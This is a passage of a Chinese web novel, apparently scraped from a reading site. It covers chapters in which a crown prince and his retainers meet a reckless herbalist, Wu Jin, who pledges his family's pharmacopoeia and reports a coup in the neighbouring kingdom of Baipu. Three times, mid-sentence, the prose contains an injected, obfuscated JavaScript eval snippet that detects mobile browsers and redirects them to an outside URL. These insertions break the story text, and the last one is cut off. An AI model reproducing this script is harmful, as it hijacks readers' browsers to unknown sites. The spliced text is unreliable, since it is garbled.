年轻人,果然还需要继续成长呀,不然以后怎么和敌人打嘴炮。 是该找个地方让他锻炼一下,不要在日后拉低团队的战斗力。 虞煜这样想着,就不再关注属臣们的动静了,反正他们折腾来折腾去都是老一样,没有什么新意,就权当他们是无聊在打发时间罢了,反正按照他的计划执行后,就没有这种悠闲的日子了。 若是那位药王不是吃菌子中毒后说的胡话,那么他的执行速度,将会比原定计划还要快上几分,这样想着,脚下的步伐不由的加快了几分,很快就变成他引领在前,巫蕤和群臣追着他一路小跑的模样。 丝毫不知自己已经被虞煜提上日程的群臣,依旧尾随在后各自打着小九九。 一行人这样浩浩荡荡的横穿军营,奔着设在军营最边角的疫所而去。 引得留守军营的士卒们十分好奇,但好在姜泽治军颇严,所以倒也没有人探头探脑的偷看。 一路行来,也算安静。 只是这份安静在抵达疫所大门之时完全被打破了。 变故突生,本来跟在最后面的裴安翊一个飞身跃到了虞煜的身前,将他完全挡在了自己的身后,其他属臣也纷纷把虞煜围了起来,生怕眼前这个状若疯癫的伤到主君。 就连平时不声不响被计枢刚刚评价为废猫一员的白乐为,也默默的从袖中掏出一卷看起来就很沉的竹简,高举过头准备投掷,还是虞煜及时阻止,才避免一件流血惨案的发生。 看着被甲士们火速控制在地的依旧手舞足蹈的“狂徒”,傅泓气得胡子倒竖,厉声喝问巫蕤居心何在,不是说了没有危险的吗?怎么还没有进门就跑出一个宛若邪祟附体的人,这要不是青天白日的,还真要给人吓出个好歹来。 其余属臣在确定安全之后,也纷纷在以眼神指责巫蕤,尤其是乔嘉麟,他年龄最小,又出身大家,哪里见过这种架势,虽然记得在危急时刻护卫主君,但还是被吓得吱哇乱叫,对着空气就是一顿拳打脚腿,最后还是离他比较近的计枢制止了他,才不至于让他继续丢人下去。 计枢这样做当然不是欺负了“老实人”后的忏悔,而是乔嘉麟的声音动作实在太过伤耳辣眼了,他搞不明白乔嘉麟好歹也是跟着太子上过战场见过风浪的人,遇事怎会如此的不淡定,而且看起来一个翩翩少年美公子,怎么打起拳来会那么难看。 计枢发誓,他这辈子都没见过这么难看的动作。 虞煜不知道他此刻心里的想法,不然一定会告诉他乔嘉麟一路而来都是跟随着他苟在队伍最后方的,因为他不同于时下追求的武能上马驰骋,文能治国安邦的文臣群体,他就是一个很纯粹的文人,半点不通武艺。 此刻的巫蕤也觉得自己很冤枉,明明他走的时候才处理好了一切,怎么不过两炷香的时间,又成了这个样子。 “他是不是又吃了那种奇怪的东西!” 巫蕤咬牙切齿的询问立在一旁战战兢兢被他召来做助手的士卒,从牙缝里挤出来的声音让在场的众人听着都觉得牙酸,虽是询问,但却是极度肯定的语气。 一个“又”字,道尽了所有的心酸。 “他趁我不注意的时候把那个怪东西煮了喝了,就成这个样子了……” 士卒显然也是被吓到了,但是他到底不是巫蕤,在问题初现端倪之时就可以发现解决,他是在这人开始癫狂之时,才发现不对的,但疫所处在军营的边角处,平时除了负责日常巡逻的士卒,大多时候都是只有他和巫蕤两人在一起。 这人发狂的时候正好没有士卒来此巡逻,而巫蕤又正好被太子召见,只余他一人身处疫所,而巫蕤离去前再三交待过要保障这个人的绝对安全,他又不能直接将他打晕,只能在疫所周围拉扯着不至于让他跑出去。 没想到这样混乱的情况竟然会碰到太子亲至,看着跟在太子身边如临大敌的群臣,和脸黑得如同釜底的巫蕤,他有些欲哭无泪。 他真的很努力了,但架不住一抽空就在作死的人。 “狗东西嫌自己命太硬,遇到他我真是倒八辈子霉!” 怒气爆棚的巫蕤一边骂骂咧咧,一边从甲士手中抢过依旧手舞足蹈的人拖着进入了疫所,完全将身后的太子抛之脑后。 虞煜看着地上因人被拖行而产生的拖痕,评估了一下巫蕤的怒气值,有点担心被拖之人的人身安全,急忙跟了进去。 身侧的傅泓一时不察没有拉住,也紧跟着进去了,然后卫衍也进去了。 剩下群臣面面相觑了一下,看到最晚入伙的计枢也进去,当即也不敢迟疑,急急的跟了进去。 无论什么事,可不能让新来的抢先了。 这是此刻所有旧臣的心理,就连乔嘉麟,虽然还有些心里没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12915869|134765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底的害怕,但还是挤在众人中间一起进去了。 他从小就怕这些看起来有些怪力乱神的东西,因为他平时里总喜欢搜集一些这方面的书籍来看,算一个小小的爱好。 但有些东西就是越了解才会越害怕,他虽然嘴上说着神鬼之事都是假的,但内心里却一直将信将疑。 叶公好龙,莫过于此。 虞煜一进到疫所里,就被屋中弥漫的苦味熏得满嘴发苦,也不知道巫蕤又在做什么奇奇怪怪的研究,但他衷心希望这个成果永远不要用在自己的身上。 光闻着味道他就受不了,难以想象这种东西喝到嘴里是什么样的感觉。 然后他就看到巫蕤正撬开那人的嘴巴往里面狂倒东西,让人苦涩难忍的味道,正是从那个东西里散发出来的。 “这是什么?” 虞煜看着眼前的画面有些迟疑,不知道该不该打断巫蕤此刻的做法,但考虑到“当世药王”的生命问题,他还是选择了出言打断。 之所以在心里给药王打了引号,是因为他觉得眼前的一幕特别的不靠谱,而且他也注意到了此前巫蕤问话之时说了个“又”字,再结合巫蕤恨到咬牙切齿的语气,不难猜测已在疫所进行了多次的高危试吃活动,然后一而再再而三的中毒,虞煜不明白,怎么会有人好像把中毒当成一种爱好。 而巫蕤口中的奇怪东西,应该就是他所知道的野生菌了,而且就目前的情况来看是百分百的毒菌。 他从哪里搞来的? 虞煜很迷惑,他遍寻原主的记忆没有发现菌类的存在,而他们大军在附近山脉采药已久,也没发现类似的植物。 “解毒散。” 巫蕤直到把满瓶的苦东西倒入那人嘴中,才不疾不徐的回答了虞煜的问题。 “加了点东西,无害,只是味道会让人的记忆更深刻。” 虞煜觉得此人也是本事,能把一向能屈能伸的巫蕤气成这样。 似乎是看出了虞煜的担忧,巫蕤顺手把手里提拉着的人丢在一边,出言安慰。 “殿下放心,他很快就会醒的,治他这个毒,现在的我很有一套经验。” 感觉自己丝毫没有被安慰到的虞煜,更担忧了。 这个看起来完全不靠谱的人,真的会有那么大的本事吗? 但随即又用神农尝百草的事情安慰自己,再回顾了一下之前世界历朝历代药学家的生平事迹,定了定自己此刻有些杂乱的心情。 心一定,思路就开阔了,这人现在的所作所为,还真可以和那些药学家的生平重合起来。 只是哪有这么不要命的药学家,人家都是浅尝辄止,记录信息,哪有像他这种中毒后还接二连三闷头猛灌的劲头。 依照这个作死的程度,能活到现在已经是老天对这个时代的优待了,也难怪他在书中没有见过这个人的存在,只怕是在男主出世的时代,已经尘归尘土归土了。 可见哪怕强如男主那样的天命之子,也留不住一个一心作死的人。 在这个人的身上,虞煜第一次共情了总是劝谏自己不要以身犯险的属臣。 共情的前提是这人真的要有真才实学,没错,他就是这么现实的人。 群臣大概也是没见过这种锲而不舍吃一种毒药的,纷纷有些好奇的看过去,见到地上不知道是因为中毒痛苦,还是因为解毒痛苦而抽搐的人,第一次意识到了巫蕤的可怕性。 23. 第 23 章 就在群臣为防以后发生一时不察被灌下苦药报复的情况,纷纷翻看记忆自己有没有得罪过巫蕤的时候。 只有计枢看着地上的人,陷入了沉思,这种似是而非的感觉让他想起曾经听过的一个人,对比了一下两人的共通性,计枢忍不住的眼角抽搐,思量片刻之后,还是决定向虞煜进行禀报。 “殿下,我大概是认识这个人的,只是不太确定。” 计枢此言一出,除了还躺在地上痛苦哼唧的人,其他人都为之一怔,就是虞煜本人也没想到,自己人里还有认识这个人的。 只是这个“大概”和“不确定”又是怎么个说法,认不认识不是很直观的东西吗,为什么还有大概不确定一说。 群臣也正在为此而窃窃私语,并奇怪计枢此前为什么没有提及自己认识这个人。 但众人虽然满是好奇,也从计枢的措辞上看出了他对待这个事情的谨慎,并没有人急吼吼的出来询问,而是头静静的等待着太子的问询。 “不确定也没什关系,孤只当提前了解一下,其余的人躺在这里又不会跑了,等他清醒了再做询问就好,计卿直言便是。” 虞煜也听出了计枢所要表达的意思,无非是大抵知道这个人是谁,但没有接触过,所以才没有把话说死,所以他也选择了以闲聊的方式和计枢展开话题,让整个过程显得不是那么隆重。 言语中透出的随意让原本因不确定有些忐忑的计枢感受到了他的好意,再一次感叹太子殿下真是一个不错的主君。 殊不知自己如今夸了太子有多好,后面就会被压榨的有多惨,这也算提前预支的加班费了。 虞煜听着计枢讲述着这个人可能存在的身份,越听眼睛越亮,如果计枢猜测正确的话,那岂不是可以招募一个药学世家,想想都觉得美滋滋。 周围的群臣也是一听一个不吱声,虽然有些吃味又让新来的在太子面前抢了风头,但还是暗自期待他的猜测可以成真,一个药学世家的能力,放在以前的他们或许不屑一顾,但现在却觉得其蕴含的能量不可估量。 不得不说巫蕤还是让他们狠狠开了眼,正视起了医药的重要性。 看向地上之人的目光瞬间就不同了,让其在他们眼中的身份也有了改变,狂徒到奇葩,某种意义上二者也算殊途同归,但他们发誓这个奇葩绝对没有贬义的意思。 多么深厚的家学渊源,怎么就和太子一样喜欢以身犯险呢? 完全不知道自己又被群臣顺带着嫌弃了一波的虞煜,在听完计枢的讲述后,觉得治瘟药稳了后有些激动的在原地走了两个来回,低下头看了看地上抽搐依旧的人,有些担忧的再次询问巫蕤。 “他现在这个样子真的不会有事吗?会不会中毒太深你的药效没达到解毒的效果?” “那我再给他喂一瓶。” 接收到询问的巫蕤很干脆,掏出药来就要喂,反正他这个解毒散吃不死人,顶多就是腹泻几天。 “那……就再喂点吧。” 了解到过量服用解毒散并不会对其造成太大的伤害,虞煜迟疑了一下,同意了巫蕤的做法,他实在是担心中毒太深会导致出现神经损伤,毕竟两相比较,腹泻就要显得小儿科了许多。 然而就在巫蕤得到虞煜同意之后,正打算把另一瓶解毒散也灌进地上之人的口中时,一直闭目抽搐的人,突然就睁开了眼睛,翻身而起吐了毫无准备的巫蕤一身。 其他人都惊呆了,无比庆幸自己站得远没有被波及到,又都同情巫蕤的不幸遭遇。 巫蕤面无表情,整个人定格在了喂药的动作之上,唯有紧紧攥起的拳头昭示着他此刻内心的怒火。 偏偏那人还没半点眼力见,还掩着口鼻对巫蕤抱怨道。 “我都说了你的药很难吃,黄连用得着这么加吗?影响我感受药草的纯粹性。” 完蛋,要遭! 虞煜看着随着抱怨声落下而双目燃起怒火的巫蕤,心里咯噔了一下。 果见愤怒至极的巫蕤把装着解毒散的瓶子扔在一旁,从怀里掏出一颗黑漆漆的药丸就要塞进那人的嘴里。 “纯粹的毒性吗?来来来,我给你个更纯粹的感受下。” “咦,断肠草的味道?” 那人先是愣了愣,还分辨了一下快要凑到嘴里的药丸成分,然后才意识到不对开始极力挣扎着躲避。 “你要做什么?不就是吐了你一身吗?你就给我喂断肠草毒不毒呀你!” “有没有人呀,要杀人啦,来个人救命呀!” 看着两人在满是秽物的地上扭打翻滚,所到之处一片狼藉,到底是中毒方解的人因体力不支而不敌巫蕤,眼看断肠草挫成的毒丸就要塞到他的口中,虞煜急忙命令甲士将两人强行分开。 吓唬吓唬就得了,哪能让巫蕤真把人毒死了。 眼见被甲士强行分开的两人还要争吵,虞煜急忙开口制止。 “你们还是先去洗一洗吧,有什么事情收拾干净了再到孤身前说。” 说着,十分应景的向后退了几步,远离满身秽物的两人。 “呕!我要洗澡!” 才意识到自己在扭打过程中被巫蕤蹭了一身秽物的人率先抵不住了,哪怕秽物来自于他本身,当即叫嚷着就要洗澡。 “给你在水里加点断肠草要不要。” 巫蕤甩开了甲士的控制,对着其阴沉沉的说道,威胁的语气很明显,但那人不知是在装傻充愣还是真的没有意会到,反而言之凿凿的给巫蕤做科普。 “断肠草非良药,你不会以为只有吃下去才会死人吧,用它泡澡也会中毒的。” 眼看两人又要掰扯起来,虞煜示意甲士快带那人下去换洗,又安排裴安翊亲自去盯着,防止出现人洗着洗着就丢了的情况发生。 至于为什么又是裴安翊,当然是因为他目前手下能用的武将只有三人,除他之下,也只有这三个人拥有大小不等的军事调动权,而今姜泽和晏俭臣外出任务未归,能在军中行事的唯有裴安翊一人,不安排他,也安排不了其他人了。 人到用时方恨少,看来在暂时安定之后,提上议程的除了造纸术这一项,招揽人才也要安排上。 虽然知其身处营地难以脱逃,但虞煜却认为凡事都有意外发生,他也从不会轻看这个时代的任何一个人,并认为他们的智慧不会比任何的后来者差。 这只是一个普通的营盘,没有铜墙铁壁的加持,内松外紧,一出去就是锦州的苍茫群山。 若有心,到处都是空子可以钻,毕竟药学家们都是杰出的野外探险者。 所以没有个得力的心腹亲自盯着,虞煜也不太放心,生怕到手的鸭子转眼就飞没了。 裴安翊领命带着那人下去了,失去了对手的巫蕤也忍受不了,和虞煜请罪告退后,也下去换洗了。 虞煜也不想在满是污秽的疫所里待着,带着 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就算安存德不眠不休的抓紧修复渡口,依照历州的人力物力测算,怎么也得大半年才能勉强完成修复工作。但渡口修好了,要过江,还得有船吧,普通的船可不行,得要是犀舟劲楫才可以横渡巨川。 而在当下,犀舟劲楫是战船的特称,那么此刻想要抵达锦州,除了修复渡口外,还需要新建战船。 因为虞煜可以肯定,历州现在应该是连一艘能拿得出手的战船都没有的。 而这两样,安存德百分之百都不会去做的,起码现在不会去做,毕竟逐鹿天下是一个很费钱的事业,为了一个无足轻重的锦州去耗费那么多的人力物力,但凡会算账的人,都知道不划算。 那么这也意味着,在未来的几年内不出意外的话,都不会有外来人才加入他的队伍,他只能将目光聚焦在锦州本土,从这里发掘本地人才然后收为己用。 只是这锦州的人才的分布点,涉及到了他的知识盲点,书中对此没有半分提及,毕竟这里不是主角发育的主场,只是作为时代背景板的存在。 但也不能排除这里会是后期人才的先行地图,如计枢。 计枢! 虞煜精神一振,茅塞顿开,他怎么能把计枢忘记了呢。 这位未来的顶级谋士,可是在锦州生活了多年,而且一直混迹匪寨,要知道匪寨都是拥有着自己的消息来源,那么做为匪寨智囊的计枢,就很有可能知道一些锦州当地的名人雅士,这不就是现成的人才导航活地图吗? 正好可以趁着换洗的人未至和他探讨一下锦州当地的人才资源,做一个人才储备的前景规划。 原本看着空无一人的武将席位陷入沉思的计枢,突然感觉到一股灼热的视线落在自己的身上,抬头查看,就看到虞煜双眼灼灼的看向自己,正有些疑惑不解之时,就听到虞煜开口询问。 “说起来计卿在锦州生活了多年,可有听过什么名人雅士的逸事趣闻呢?” 看似漫不经心的开口,但言语中却有着极力掩藏的兴趣。 计枢目光隐晦的扫视了一眼四周,最终定点在了空空如也的武将席位,对着虞煜露出了一个极度真诚的微笑。 笑得虞煜脊背发凉,总觉得有什么坑在等着他跳。 老话是怎么说的来着,不怕谋士玩心眼,就怕谋士笑的甜。 大概就是用于描述当下的情景了吧,默默的把防诈骗意识调至最高。 24. 第 24 章 计枢看着瞬间目带警惕的太子,也知道自己高兴得有些过于明显了。 但他一直遍寻不到的机会,就这么突然的被太子殿下送到眼前,也着实让他一时之间无法控制中上扬的情绪。 但是为人属臣者,最忌讳被主君猜疑。 计枢还是出言解释了一下,自己想要向太子推荐人才却一直寻不到恰当的时机,才会在乍听此言之时喜形于色。 看着空空如也的武将席,计枢极力在克制了自己的情绪,若不是考虑到未到场的武将同僚心情,他都担心自己会对着太子大喊出声。 “殿下,我寨主天下无敌呀!” 虞煜正对计枢的解释将信将疑,猜测着他会推荐什么人才给自己。 就听到一句振聋发聩且发自内心的的呼喊。 这啥? 一瞬间,在场所有人的目光都汇聚在了计枢的身上,包括虞煜,都有些一言难尽的看着他。 计枢才惊觉自己竟然不小心真的把心里在想的话喊了出来。 心中虽在疑惑自己什么时候变得如此不谨慎,但他到底是大浪沉浮中过来的,面上丝毫不显,任由着所有人的打量,没有半点尴尬的意思,甚至把刚才喊出的话对着虞煜重新禀报了一次。 “殿下,臣想向您推荐一猛士,勇猛无双,可做万人之敌。” 这还真是好心态决定男人的一生,虞煜很欣赏他这种无论何时都绝不让自己尴尬的心态。开始明白他为什么能在人才济济的主角麾下脱颖而出了,毕竟拥有这种强稳健的心态,在很多时候就已经成功了一半。 看了眼已经明显已经陷入了愤怒风暴的傅泓,正极力克制着自己不要当众发作出来。 虞煜叹息一声,其实太傅的心态原本还是很好的,但不知为何自从与计枢重逢后,破防的指数直线上升。 他也没想到计枢会直接向自己推荐他的山匪老大,绿林丛中出能人,这点虞煜向来知道,但在没有见到真人之前,他也有些难以定夺。 观其古渡郡作为,再听此时计枢的评价,能力必定是不会太差的,纵然比不得姜泽,但应该不会比他另外两个副都尉差太多,是他稀缺的人才。 之所以难以定夺,还是来自于其山匪的身份,就算不考虑群臣的接受程度,他也为民思量,如果所犯之事无伤大雅,招安自然不在话下,但如真是犯了十恶不赦之罪,那么也绝不能轻易揭过。 计枢如今已在他的麾下,他绝不能让他生出自家人不必太过计较的心理,他要明确的告诉他,从自己的手中,从不会放过任何一个鱼肉百姓的人,无论是官还是匪。 吃人的历史他看过太多,乱世中更是不乏两脚羊的存在,因为动荡会将人性泯灭,但他绝不会让这种情况出现在自己的治下,所以必定也不会放过任何一个拥有前科的人。 计枢的推荐,他要等亲到古渡郡探知其风评之后,才会做出抉择。 虞煜正打算和计枢言明此事之时,被突然开口的乔家麟抢了个先,不由有些头疼,想不通他到底是怎么和计枢杠上的。 “胡说!你刚才明明讲的是天下无敌!” 听到乔嘉麟质问的群臣眼前一黑,果然不能对他报以希望,天下无敌是重点吗?重点是“我寨主”这三个字呀! 他们也是片刻前计枢自爆才知道,原来他竟然是匪寨出身,也难怪性格会那么混不吝了。 之所以都不言语,不过是因为想到了这么大的事情,太子肯定是知道的,但他还是将计枢收入了麾下,那么就说明此人必定有能让太子看中的过人之处。 既然已成定局,就没有必要去做这个讨人厌的出头鸟,毕竟天下都开始乱了,匪与军的区别,也没有那么重要了。 他们的接受度远比虞煜猜想的要高,但却都不打算为他们自认为表面镇静实则尴尬的计枢解围,只是没想到大家都选择缄默的时候,突然会跳出一只找不到重点的傻鸟,挑衅的同时顺带着还对方解了围。 这都什么和什么呀! 在场的属臣方了,有点不想和傻鸟共朝堂。 以前乔嘉麟不开口的时候多可爱呀,哪像现在…… 众人不约而同的换上了嫌弃脸,无意间打开潘多拉魔盒的虞煜也有些心虚的轻咳了一声,正打算阻止这个话题的持续延伸,就听到帐外的甲士通传—— “都尉姜泽,副都尉晏俭臣到。” 紧接着,就有两道身着甲胄的身影走了进来。 一俊美一刚毅,正是计枢从未见过的姜泽和晏俭臣。 他两人外出任务刚回来,就听到太子召集属臣疫所议事,未及整理着装,便匆匆赶了过来。 没想到一到帐篷之外,就听到有人正推荐猛士,还直言其天下无敌,当即被挑动了好胜之心。 甲士通报刚毕,就匆匆的进帐查看。 “什么天下无敌?” “天下无敌在哪里?” 两人不约而同的开口询问,目光也同时落到了帐中唯一陌生人的计枢身上。 此时被两员大将同时注视的计枢觉得压力有些大,尤其这两个大将中还有一人是太子的小舅子,整个军中除太子外的唯一主将。 这是什么修罗场,所有人的心都沸腾起来,唯有虞煜想要掩面叹息。 他知道晏俭臣或许真的只是问问,但姜泽可就不一定了。 要不怎么说名将有名将的追求呢,此时的他只怕已经见猎心喜跃跃欲试了。 虽然姜泽平时看起来一幅很是沉稳可靠的样子,但虞煜却知道姜泽是很有些年少气盛在在身上的。 只是这同僚初见的场面,不太理想呀。 虞煜有点发愁,他未来的一号谋士已经被文臣第一的傅泓嫌弃了,要在再和他武将第一的姜泽崩了关系,那以后就真的有点难配合了。 好在计枢到底还是计枢,临场发挥永不落下,就算面对这样的灵魂发问,也依旧能够找到最佳的回答方法。 “两位将军,某正在同殿下推荐一人,虽然出身草莽,却心怀大义,是难得一见的猛将之才,只是他现下并不在此处。” 明明是同样的意思,却说出不一样的感觉,这也是计枢说话艺术的所在,群臣对此也不得不佩服,同时觉得或许可以向殿下提议把乔嘉麟送给其培养一下,好歹学个一星半点儿,不然真的白长了一个脑袋。 果然,听到人不在场,姜泽的面上露出了一点失望,向虞煜行礼之后,就坐到了自己的席位之上。 他二人刚刚坐定,帐外又传来了甲士的通报,这次来的正是巫蕤、裴安翊和此前中毒之人。 正好撞上的两人倒没有和刚刚一样大打出手,这让夹在中间的裴安翊松了一口气,毕竟殿下座前,总是打打杀杀的成何体统。 随着他三人的到来,众人都把目光投向了他们,尤其是跟在裴安翊后面的那个陌生青年。 圆圆的脸庞上长了一双好看的桃花眸,长相不算如何俊美,却让人感觉十分亲切。 众人之前只觉得他年纪不大,但是却没有想到会这么年轻,看起来就像一位不通俗物的富家公子,很难将他与此前疯疯癫癫的人联系起来,也很难想象他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954169|134765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一个识得数百种草药的异士。 裴安翊和巫蕤行礼后就各自回到自己的席位落座,唯余他一人立在议事厅的正中央,不见局促,反而有些好奇的打量着四周。 见其举止无礼,卫衍刚想出言制止,就收到了来自自家殿下的眼神示意,虽有些无奈,但还是将即将出口的话忍了回去。 那人将营帐布局和在场众人都打量了个大概后,最终将目光定在了虞煜的身上。 “你就是太子老爷呀?” 第一次听到这种奇怪称呼的虞煜愣住了,但很快还是反应了过来,古代人称老爷不一定是要达到那个年纪,而是看你的地位来称呼的,总的来说,这个称呼虽不官方,却也没有什么毛病,但深受后世电视剧的影响,虞煜对这个称呼很是抗拒。 “你称孤为殿下就可以。” 委婉的提出了修改意见,好在那人也不是什么顽固的人,十分顺从的就改变了称呼。 “锦州古渡人士乌金,拜见太子殿下。” 看着下方恭敬行礼,且礼仪标准还不错的人,虞煜有些怀疑,这个人刚刚是在故意调侃他,但还是语气温和的将他叫起赐座,就见他毫不忌讳的坐到了巫蕤的身侧。 哪怕隔着近十米的距离,虞煜还是可以看到巫蕤脑门跳动的青筋,如不意外,掩隐在衣袖里的手掌也必定攥紧了拳头。 而坐到了他身旁的乌金却好像对此没有丝毫的察觉,只是安安静静的坐在了那里。 看着长相绵软,状似乖巧的乌金,众人心中同时浮现一个心声。 又一个不是善茬的人。 为什么是“又”,因为另一个不是善茬的也在此间,想着,都隐晦的扫了计枢一眼。 虞煜对此倒是不太在意,毕竟自古有才华的人,大抵都有一些独属于自己的傲气,性格这种事情后面慢慢磨合就行,他当前看中的还是才华。 “你的名字听起来很有意思,可是有什么出处吗?” 乌金,虞煜隐约记得这是一个快速止血药的别名,在他之前的世界多称呼为京墨,是一种由松烟末和胶质制成的中药材。 所以这个名字,出现在一个药学世家的人身上,很难不让他多想几分。 但虞煜可以确定,目前这个时代没有人知道这味药的存在,或者说它的流通范围很小。因为就连之前巫蕤替他处理箭伤的时候,都是通过火炙来让皮肤迅速收缩以达到快速止血的效果。 但很多时候没听过并不代表不存在。 “殿下圣明,我的名字是源于家族的一味自制药。” 提到这个,乌金整个人都颇为骄傲,虞煜也生出了一种果然如此的感觉。 “那你可否与孤说说,这味药的具体疗效是什么?” 他想看看,这里的乌金是否就是他记忆中的京墨,群臣此前从未听过这一味药,纷纷以目光询问巫蕤,得到了其否定的眼神,知道他也不曾听说过,都好奇的竖起了耳朵。 “这……” 然而乌金却犹豫了,欲言又止的看着虞煜。 “若是不方便言明,也没什么的,到底是孤唐突了。” 见乌金沉默,虞煜也意识到自己的问题有些不妥当,涉及到了人家的不传之秘也未可知。 “倒也不是不能言明,而是……” 乌金又犹豫了,但纠结了片刻后,他咬了咬牙,起身行进至营帐中央的禀报位置站定,众人不知道他要做什么,正疑惑观望,却只见乌金双膝着地,跪在了虞煜的身前。 “草民愿以家传药典为礼,以求殿下庇佑!” 25. 第 25 章 群臣看着突然拜倒在地的乌金,更加疑惑了,这人方才明明连药效都不肯告知,怎么突然就要献出家传的药典寻求殿下的庇佑?他又因何事要寻求庇佑? 虞煜也是大吃一惊,这能人异士纷至沓来纳首就拜的剧情不是男主才能拥有的吗?什么时候他这个buff叠满的亡国太子也有了这个待遇,先有顶级谋士计枢俯首称臣,后有当代药王乌金托求庇佑。 难不成锦州真是自己的风水宝地? 接踵而来的旷世奇才,让虞煜也产生了一点迷惑,但他觉得其中必定有事。 单论乌金的出生,不过普通的耕读之家,虽从祖辈开始研习药草,至今已有三代,这也是虞煜说他家学渊博的原因。 但在巫鬼之风颇重的锦州,并没有人看好他们这番事业,觉得不过是假借草木之名来骗人的花样罢了,以至于他们家族传承数十年,虽不能说寂寂无名,但却真的是声名不显。 声名不显最大的好处就是没人会刻意记得你的名字而加以迫害,那么乌金又是为何要寻求他的庇佑呢? 百思不得其解的虞煜让乌金暂且起身,有什么事情可以慢慢道来。 细问之下,才知他于一年半前从古渡郡家中出发,顺着锦州绵延的群山一路向南而去,继续完成祖父辈们未完成的药典编绘事宜。 一路寻寻走走,竟意外翻过了号称无法翻越的龙眠山脉,抵达了域外之国百濮的境内。 因为那里有着许多他未曾见过的植株,所以就决定暂时伪装留下探索。 长达数月的时间里,他伪装成偏远之地而来的巫觋,借着自己对草木的熟知频繁与当地的“同行”们展开业务交流,从中认识了解很多当地药草的性能和功效,进一步丰富了药典的编绘。 这里乌金还特意解释了一下百濮与大雍的不同之处,虽然人们都一样崇尚巫鬼之风,但百濮的巫者却都一直在以草木入药辅助治疗,人们对此也乐见其成。 因为哪怕百濮和大雍之间已有百年未曾有过交流,但也知道大雍人只信巫者,不信草药的说法,大雍的巫者都不懂草药这一个刻板的印象,是他得以成功伪装的源头。 但好景不长,就在他快乐采集绘编的时候,百濮的大公主骤然掀起了宫廷政变,在血腥镇压了所有的兄弟姐妹后,独掌乾坤,并打算趁着大雍孱弱之时再度北上,于是在百濮境内开始了轰轰烈烈的募兵活动。 上面说的是募兵,但在下面执行起来却和明抢也没什么区别,险些被抓了壮丁的他趁机逃跑,躲进了龙眠山脉,并根据记忆中的路线,再次翻越龙眠山脉,重返大雍的国土。 本想把这一消息告知当地府衙上报朝廷以作准备,却都被冠以疯子之名一路杖责驱逐。 无处容身的他只得寻路返回自己古渡郡的家中,到底那里离中原最近,哪怕百濮的军队冲杀过来,他也有机会乘船逃亡中原以期活命。 但没想到古渡郡竟遭遇瘟疫,被隔绝在外无法进入的他,担心在外游荡会感染瘟疫,只得暂时退回山脉容身,最终却因食物不足而饥饿昏迷,被外出寻药的玄甲军所救。 “百濮小国,猖狂至此!” 群臣们听罢乌金的描述,勃然大怒,要不是当下条件不允许,只怕立马要让百濮重温一下百年前险些灭国的记忆。 但愤怒平息之后也知晓大雍此时已名存实亡,而从乌金的描述来看,锦州的官员明显不堪重用,想凭借他们来对付百濮只怕是痴人说梦,最终抵御百濮的重担,只怕还是要落在他们太子的肩上。 “殿下,百濮若在此时北上,我们与其之间恐怕必有一战,还需早做打算为妙。” 虞煜也因乌金突然讲到的百濮,想起书中确实有提到过这个国家,不同于大雍的男主外女主内,那个国度里更多的是女子当家。 但他记得,书中百濮并没有那么早的就进犯大雍呀,他们的当时侵入锦州的时候,姜泽都已经在锦州站稳了脚跟,因此所辖之下并没有让百濮占到任何的便宜。 百濮此次虽没有占到便宜,但在此后的数十载时间里,一直都对锦州的边境多有侵扰。 只是不知道的是,书中的那位白濮君主,是不是如今这位发动宫廷政变登基的女君。 “乌金先生,依你在百濮的见闻来看,他们此时是否拥有即刻挥兵北上的能力?” 虞煜思忖了片刻,询问道。 他觉得刚刚经历了血腥政变的百濮应该是暂时没有余力向大雍出手的,那位公主既然有胆色发动政变而且还成功了,就说明她不是一个没有远见的人。 而一个有远见的人,绝不会在内忧未平之时,就贸然挑起外患,这对她稳固刚刚到手的政权是极为不利的。 哪怕大雍日渐西沉,已经名存实亡,但各地兴兵而起的豪强,也不是轻易可以招惹的。 何况,因他斩断了通往锦州的道路,此时大雍名存实亡的消息并没有机会传至百濮,虞煜觉得他们这次所谓的再度北上,或许只是那位新上位的女君对内维.稳的一种方法罢了。 但以上都是他的推测,具体还是要看百濮的实际情况,万一他们此时就真的就拥有这个能力。 刚从百濮回来不久的乌金,就是他能了解目前百濮信息的唯一途径。 “我不懂兵事,也不知道百濮的实际军力如何,但我观其境内百姓惶惶,人心不安,似乎都对新上任的女君不太信任。” 乌金并没有正面回答虞煜的问题,而只是侧面讲述了百濮政变后的社会情况。 但在座的众人听到他的描述之后,纷纷了然于胸,哪怕是最不聪明的乔嘉麟,也听出来了百濮在短时间内,是无法有余力进犯大雍的。 人心不安之下,他们女君哪怕有着雷霆手段,但要平息民怨重塑威望,也仍需一定的时间。 而到那时,他们殿下也早已入主锦州,做好了抵御进攻的准备,百濮不足为患。 听了乌金的讲述,虞煜自然也知道百濮暂时无法兴兵,但他心中并没有像臣子们那般随意就将百濮定义为毫无威胁的存在。 因为不论是在书中还是现实,北方的戎狄和南方的百濮, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 